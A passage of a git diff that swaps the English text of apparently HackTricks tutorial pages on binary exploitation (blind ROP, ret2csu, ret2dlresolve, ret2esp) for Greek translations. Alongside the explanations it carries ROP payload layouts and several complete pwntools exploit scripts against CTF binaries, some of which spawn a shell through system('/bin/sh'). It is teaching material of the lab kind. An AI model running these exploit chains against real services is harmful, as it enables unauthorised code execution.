**separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. +Ο πίνακας PLT μπορεί να αναζητηθεί από 0x400000 ή από τη **διαρρεύσουσα διεύθυνση RIP** από το stack (αν χρησιμοποιείται **PIE**). Οι **καταχωρήσεις** του πίνακα είναι **χωρισμένες κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση, ο server δεν καταρρέει ακόμη και αν οι παράμετροι δεν είναι σωστές. Επίσης, η έλεγχος της διεύθυνσης μιας καταχώρησης στο **PLT + 6B επίσης δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται. -Therefore, it's possible to find the PLT table checking the following behaviours: +Επομένως, είναι δυνατό να βρείτε τον πίνακα PLT ελέγχοντας τις εξής συμπεριφορές: -- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash +- `'A' * offset + canary + rbp + ADDR + STOP` -> καμία κατάρρευση +- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> καμία κατάρρευση +- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> καμία κατάρρευση -### 7. Finding strcmp +### 7. Εύρεση strcmp -The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. +Η συνάρτηση **`strcmp`** ρυθμίζει τον καταχωρητή **`rdx`** στο μήκος της συμβολοσειράς που συγκρίνεται. Σημειώστε ότι **`rdx`** είναι η **τρίτη παράμετρος** και πρέπει να είναι **μεγαλύτερη από 0** προκειμένου να χρησιμοποιηθεί αργότερα `write` για να διαρρεύσει το πρόγραμμα. -It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: +Είναι δυνατό να βρείτε τη θέση της **`strcmp`** στον PLT με βάση τη συμπεριφορά της χρησιμοποιώντας το γεγονός ότι μπορούμε τώρα να ελέγξουμε τις 2 πρώτες παραμέτρους των συναρτήσεων: -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> no crash +- strcmp(\, \) -> κατάρρευση +- strcmp(\, \) -> κατάρρευση +- strcmp(\, \) -> κατάρρευση +- strcmp(\, \) -> καμία κατάρρευση -It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: +Είναι δυνατό να ελέγξετε αυτό καλώντας κάθε καταχώρηση του πίνακα PLT ή χρησιμοποιώντας τη **PLT αργή διαδρομή** που βασικά συνίσταται στο **να καλέσετε μια καταχώρηση στον πίνακα PLT + 0xb** (η οποία καλεί το **`dlresolve`**) ακολουθούμενη στο stack από τον **αριθμό καταχώρησης που θέλει να ελέγξει** (ξεκινώντας από το μηδέν) για να σαρώσει όλες τις καταχωρήσεις PLT από την πρώτη: -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -- strcmp(\, \) -> no crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> κατάρρευση +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Θα καταρρεύσει +- strcmp(\, \) -> κατάρρευση +- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> καμία κατάρρευση +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -Remember that: +Θυμηθείτε ότι: -- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** -- BROP + 0x9 point to **`pop RDI; ret;`** -- PLT + 0xb point to a call to **dl_resolve**. +- BROP + 0x7 δείχνει στο **`pop RSI; pop R15; ret;`** +- BROP + 0x9 δείχνει στο **`pop RDI; ret;`** +- PLT + 0xb δείχνει σε μια κλήση στο **dl_resolve**. -Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. +Αφού βρείτε το `strcmp`, είναι δυνατό να ρυθμίσετε το **`rdx`** σε μια τιμή μεγαλύτερη από 0. > [!TIP] -> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. +> Σημειώστε ότι συνήθως το `rdx` θα φιλοξενεί ήδη μια τιμή μεγαλύτερη από 0, οπότε αυτό το βήμα μπορεί να μην είναι απαραίτητο. -### 8. Finding Write or equivalent +### 8. Εύρεση Write ή ισοδύναμου -Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** +Τέλος, χρειάζεται ένα gadget που να εξάγει δεδομένα προκειμένου να εξάγει το δυαδικό. Και σε αυτό το σημείο είναι δυνατό να **ελέγξετε 2 παραμέτρους και να ρυθμίσετε το `rdx` μεγαλύτερο από 0.** -There are 3 common funtions taht could be abused for this: +Υπάρχουν 3 κοινές συναρτήσεις που θα μπορούσαν να καταχραστούν για αυτό: - `puts(data)` - `dprintf(fd, data)` - `write(fd, data, len(data)` -However, the original paper only mentions the **`write`** one, so lets talk about it: +Ωστόσο, το αρχικό έγγραφο αναφέρει μόνο τη **`write`**, οπότε ας μιλήσουμε γι' αυτήν: -The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. +Το τρέχον πρόβλημα είναι ότι δεν γνωρίζουμε **πού βρίσκεται η συνάρτηση write μέσα στον PLT** και δεν γνωρίζουμε **έναν αριθμό fd για να στείλουμε τα δεδομένα στη socket μας**. -However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. +Ωστόσο, γνωρίζουμε **πού είναι ο πίνακας PLT** και είναι δυνατό να βρούμε τη write με βάση τη **συμπεριφορά** της. Και μπορούμε να δημιουργήσουμε **πολλές συνδέσεις** με τον server και να χρησιμοποιήσουμε έναν **υψηλό FD** ελπίζοντας ότι θα ταιριάζει με κάποιες από τις συνδέσεις μας. -Behaviour signatures to find those functions: +Υπογραφές συμπεριφοράς για να βρείτε αυτές τις συναρτήσεις: -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η puts +- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η dprintf +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η write ## Automatic Exploitation diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 73cbb4e58..2d99d4d03 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,18 +4,17 @@ ## -## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information +## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Βασικές Πληροφορίες -**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. +**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να αναλάβετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος. -When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. +Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`. -### The Magic Gadgets in \_\_libc_csu_init +### Τα Μαγικά Gadgets στο \_\_libc_csu_init -In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: - -1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later. +Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που πρέπει να επισημάνουμε: +1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν θέσεις όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα. ```armasm pop rbx; pop rbp; @@ -25,22 +24,18 @@ pop r14; pop r15; ret; ``` +Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποσύροντας τιμές από τη στοίβα σε αυτούς. -This gadget allows us to control these registers by popping values off the stack into them. - -2. The second sequence uses the values we set up to do a couple of things: - - **Move specific values into other registers**, making them ready for us to use as parameters in functions. - - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8. - +2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα: +- **Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές**, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις. +- **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται προσθέτοντας τις τιμές σε r15 και rbx, και στη συνέχεια πολλαπλασιάζοντας το rbx με 8. ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` - -3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it: - +3. Ίσως να μην γνωρίζετε καμία διεύθυνση για να γράψετε εκεί και **χρειάζεστε μια `ret` εντολή**. Σημειώστε ότι το δεύτερο gadget θα **τελειώνει επίσης σε μια `ret`**, αλλά θα χρειαστεί να πληροίτε κάποιες **προϋποθέσεις** για να το φτάσετε: ```armasm mov rdx, r15; mov rsi, r14; @@ -52,50 +47,46 @@ jnz ... ret ``` +Οι συνθήκες θα είναι: -The conditions will be: - -- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func): - - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init: - +- `[r12 + rbx*8]` πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν έχετε ιδέα και δεν υπάρχει pie, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση `_init`): +- Αν η \_init είναι στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε έναν δείκτη στη μνήμη προς αυτήν και κάντε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς τη \_init: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x - 0x400e38 - 0x400e44 → "\x60\x05\x40[...]" +0x400e38 - 0x400e44 → "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- - 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" +0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` +- `rbp` και `rbx` πρέπει να έχουν την ίδια τιμή για να αποφευχθεί η μεταπήδηση +- Υπάρχουν μερικά παραλειπόμενα pops που πρέπει να λάβετε υπόψη -- `rbp` and `rbx` must have the same value to avoid the jump -- There are some omitted pops you need to take into account +## RDI και RSI -## RDI and RSI - -Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets: +Ένας άλλος τρόπος για να ελέγξετε **`rdi`** και **`rsi`** από το gadget ret2csu είναι να αποκτήσετε πρόσβαση σε συγκεκριμένες μετατοπίσεις:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-Check this page for more info: +Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες: {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} -## Example +## Παράδειγμα -### Using the call +### Χρησιμοποιώντας την κλήση -Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. +Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα. -Here's where **ret2csu** comes into play: +Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**: -1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. -2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. - -You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used: +1. **Ρύθμιση των Καταχωρητών**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να βγάλετε τιμές από τη στοίβα και να τις τοποθετήσετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15. +2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`. +Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε: ```python from pwn import * @@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` - > [!WARNING] -> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. +> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, προορίζεται απλώς να καλέσει μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`. -### Bypassing the call and reaching ret - -The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call: +### Παράκαμψη της κλήσης και προσέγγιση του ret +Η παρακάτω εκμετάλλευση εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, **παράκαμπτε τις συγκρίσεις και προσεγγίζει το `ret`** μετά την κλήση: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -176,9 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` +### Γιατί να μην χρησιμοποιήσετε απευθείας το libc; -### Why Not Just Use libc Directly? - -Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. +Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στο libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 1fc2ea86a..c894eb526 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -4,36 +4,35 @@ ## Basic Information -As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. +Όπως εξηγείται στη σελίδα σχετικά με [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**. -The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. +Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να **επιλύσει** το καθορισμένο σύμβολο. -Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). +Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**). -Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. +Συνήθως, όλες αυτές οι δομές ψευδοποιούνται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδοποιημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`. > [!TIP] -> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. +> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν syscall gadgets (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/) ή [SROP](srop-sigreturn-oriented-programming/)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc. -Chek this video for a nice explanation about this technique in the second half of the video: +Δείτε αυτό το βίντεο για μια ωραία εξήγηση σχετικά με αυτή την τεχνική στο δεύτερο μισό του βίντεο: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -Or check these pages for a step-by-step explanation: +Ή δείτε αυτές τις σελίδες για μια βήμα-βήμα εξήγηση: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) ## Attack Summary -1. Write fake estructures in some place -2. Set the first argument of system (`$rdi = &'/bin/sh'`) -3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** -4. **Call** `_dl_runtime_resolve` -5. **`system`** will be resolved and called with `'/bin/sh'` as argument - -From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: +1. Γράψτε ψευδείς δομές σε κάποια τοποθεσία +2. Ρυθμίστε το πρώτο επιχείρημα του system (`$rdi = &'/bin/sh'`) +3. Ρυθμίστε στη στοίβα τις διευθύνσεις στις δομές για να καλέσετε **`_dl_runtime_resolve`** +4. **Καλέστε** `_dl_runtime_resolve` +5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα +Από την [**τεκμηρίωση pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), έτσι φαίνεται μια επίθεση **`ret2dlresolve`**: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index] ``` +## Παράδειγμα -## Example - -### Pure Pwntools - -You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: +### Καθαρά Pwntools +Μπορείτε να βρείτε ένα [**παράδειγμα αυτής της τεχνικής εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **που περιέχει μια πολύ καλή εξήγηση της τελικής αλυσίδας ROP**, αλλά εδώ είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε: ```python from pwn import * @@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` - -### Raw - +### Ακατέργαστο ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -186,12 +181,11 @@ target.send(paylaod2) # Enjoy the shell! target.interactive() ``` - -## Other Examples & References +## Άλλα Παραδείγματα & Αναφορές - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. +- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασικό μικρό buffer overflow και επιστροφή. Για να το εκμεταλλευτεί, το bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, να επιστρέψει στο main και να επαναχρησιμοποιήσει το αρχικό bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 868f6ffa5..71992d0c6 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,27 +4,24 @@ ## **Ret2esp** -**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. +**Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας **`jmp esp`** ή **`call esp`** εντολής. Κάνοντας αυτό, ο κώδικας shell τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή `ret`, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο κώδικας shell. -If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). +Αν **Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ενεργό, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/)). -Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. +Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell **μετά την καταστροφή του EIP**, αντί να είναι στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης. -### Lacking space - -If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode 